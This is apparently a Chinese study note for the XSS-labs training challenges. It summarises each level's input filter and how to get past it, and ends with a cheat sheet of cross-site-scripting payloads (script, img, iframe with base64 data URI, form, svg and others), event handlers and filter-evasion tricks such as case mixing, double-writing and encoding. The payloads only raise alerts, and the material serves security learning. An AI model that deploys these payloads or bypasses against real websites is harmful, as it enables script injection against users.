xsslabs各关要点
level 3
'单引号闭合;
html实体编码:htmlspecialchars();
绕过方法:html事件 eg.οnclick='javascript:alert(1)'
level 5
strtolower()函数将所有字母转化为小写;
str_replace()函数过滤关键字script on;
绕过方法:使用<a href="javascript:alert(1)">xss</a >标签法
level 6
过滤关键字script on src data href;
绕过方法:大小写
level 7
过滤关键字为空;
绕过方法:双写
level 8
strtolower()函数将所有字母转化为小写;
过滤关键字;
html实体编码:htmlspecialchars();
源码中存在<a>标签;
绕过方法:Unicode编码:javascript:alert() → javascript:alert()
level 9
strpos()函数插入指定内容并注释
level 10
隐藏传参;
插入type="text"显示隐藏的标签
level 11
Referer头 burpsuite抓包/hackbar
level 12
User-Agent头
level 13
Cookie头
level 14
上传属性含xss的图片
level 15
ng-include指令包含外部html文件
level 16
回车替代空格 回车编码:%0A
level 17
swf文件;
支持<embed>标签的事件
level 19 20
反编译
xss常见标签
<script>
<script>alert(1)</script>
<img>
< img src=1 οnclick=alert(1)>
<a>
<a href=javascript:alert(1)>xss</a >
<p>
<p οnclick=alert(1)>xss</p >
<iframe>
<iframe οnlοad=alert(1)></iframe>
<iframe src=javascript:alert(1)></iframe>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<input>
<input οnclick=alert(1)>
<input name="" value="" οnclick=alert(1) type="text">
<from>
<form action=javascript:alert(1) method="get">
<form action=javascript:alert(1)><input type=submit>
<button>
<button οnclick=alert(1)>xss</button>
<svg>
<svg οnclick=alert(1)>
<body>
<body οnclick=alert(1)>
<details>
<details οnclick=alert(1)>
<select>
<select οnclick=alert(1)>
html事件
onclick鼠标点击元素时触发
onerror元素加载错误时触发
onload元素加载完成时触发
onfocus元素获得焦点时触发
onblur元素失去焦点时触发
onmousedown鼠标在元素上按下时触发
onmousemove鼠标移到元素时触发
onmouseover鼠标移到元素时触发
onmouseout鼠标移出元素时触发
xss常见绕过方法
/替代空格或引号
tab或回车替代空格
`反引号或无引号替代引号
//注释
大小写
双写
eval()函数字符拼接
prompt或confirm替代alert
编码绕过(unicode url hex oct base64)
throw绕过
js的fromCharCode()函数绕过引号 eg.< img src=1 οnclick=alert(String.fromCharCode())>